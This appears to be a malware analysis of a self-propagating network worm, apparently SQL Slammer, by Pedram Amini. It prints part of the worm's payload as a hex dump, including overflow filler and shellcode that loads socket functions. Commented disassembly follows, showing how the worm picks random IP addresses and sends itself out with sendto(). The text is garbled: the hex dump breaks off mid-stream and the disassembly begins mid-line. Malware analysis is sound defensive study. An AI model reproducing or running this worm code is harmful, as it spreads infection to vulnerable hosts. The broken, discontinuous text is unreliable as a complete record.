# # pedram amini # pedram [at] redhive [dot] com # 00000000h: 04 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; ................ 00000010h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; ................ 00000020h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; ................ 00000030h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; ................ 00000040h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; ................ 00000050h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; ................ 00000060h: 01 DC C9 B0 42 EB 0E 01 01 01 01 01 01 01 70 AE ; .ɰB........p 00000070h: 42 01 70 AE 42 90 90 90 90 90 90 90 90 68 DC C9 ; B.pBh 00000080h: B0 42 B8 01 01 01 01 31 C9 B1 18 50 E2 FD 35 01 ; B....1ɱ.P5. 00000090h: 01 01 05 50 89 E5 51 68 2E 64 6C 6C 68 65 6C 33 ; ...PQh.dllhel3 000000a0h: 32 68 6B 65 72 6E 51 68 6F 75 6E 74 68 69 63 6B ; 2hkernQhounthick 000000b0h: 43 68 47 65 74 54 66 B9 6C 6C 51 68 33 32 2E 64 ; ChGetTfllQh32.d 000000c0h: 68 77 73 32 5F 66 B9 65 74 51 68 73 6F 63 6B 66 ; hws2_fetQhsockf 000000d0h: B9 74 6F 51 68 73 65 6E 64 BE 18 10 AE 42 8D 45 ; toQhsend..BE 000000e0h: D4 50 FF 16 50 8D 45 E0 50 8D 45 F0 50 FF 16 50 ; P.PEPEP.P 000000f0h: BE 10 10 AE 42 8B 1E 8B 03 3D 55 8B EC 51 74 05 ; ..B..=UQt. 00000100h: BE 1C 10 AE 42 FF 16 FF D0 31 C9 51 51 50 81 F1 ; ..B.1QQP 00000110h: 03 01 04 9B 81 F1 01 01 01 01 51 8D 45 CC 50 8B ; .......QEP 00000120h: 45 C0 50 FF 16 6A 11 6A 02 6A 02 FF D0 50 8D 45 ; EP.j.j.j.PE 00000130h: C4 50 8B 45 C0 50 FF 16 89 C6 09 DB 81 F3 3C 61 ; PEP..ہsin_addr lea ecx, [eax+eax*2]; ecx = eax + eax * 2 lea edx, [eax+ecx*4]; edx = eax + ecx * 4 shl edx, 4 ; edx = edx << 4 add edx, eax ; edx += eax shl edx, 8 ; edx = edx << 8 sub edx, eax ; edx -= eax lea eax, [eax+edx*4]; eax = eax + edx * 4 add eax, ebx ; eax += ebx mov [ebp-4Ch], eax ; sockaddr_in->sin_addr = eax time to make the sendto() call, here are the arguments: int sendto ( SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen); push 10h ; tolen = sizeof(struct sockaddr_in) = 0x10 (16) lea eax, [ebp-50h] ; eax = sockaddr_in push eax ; const struct sockaddr *to = ebp-50h xor ecx, ecx ; ecx = 0 push ecx ; flags = 0x00 xor cx, 178h ; cx = 0x178 (376) push ecx ; len = 376 lea eax, [ebp+3] ; eax = ebp + 3 push eax ; buf = ebp + 3 (the worm) mov eax, [ebp-54h] ; socket descriptor push eax ; SOCKET s = ebp-54h call esi ; sendto() jmp short PRND ; mangle address and loop again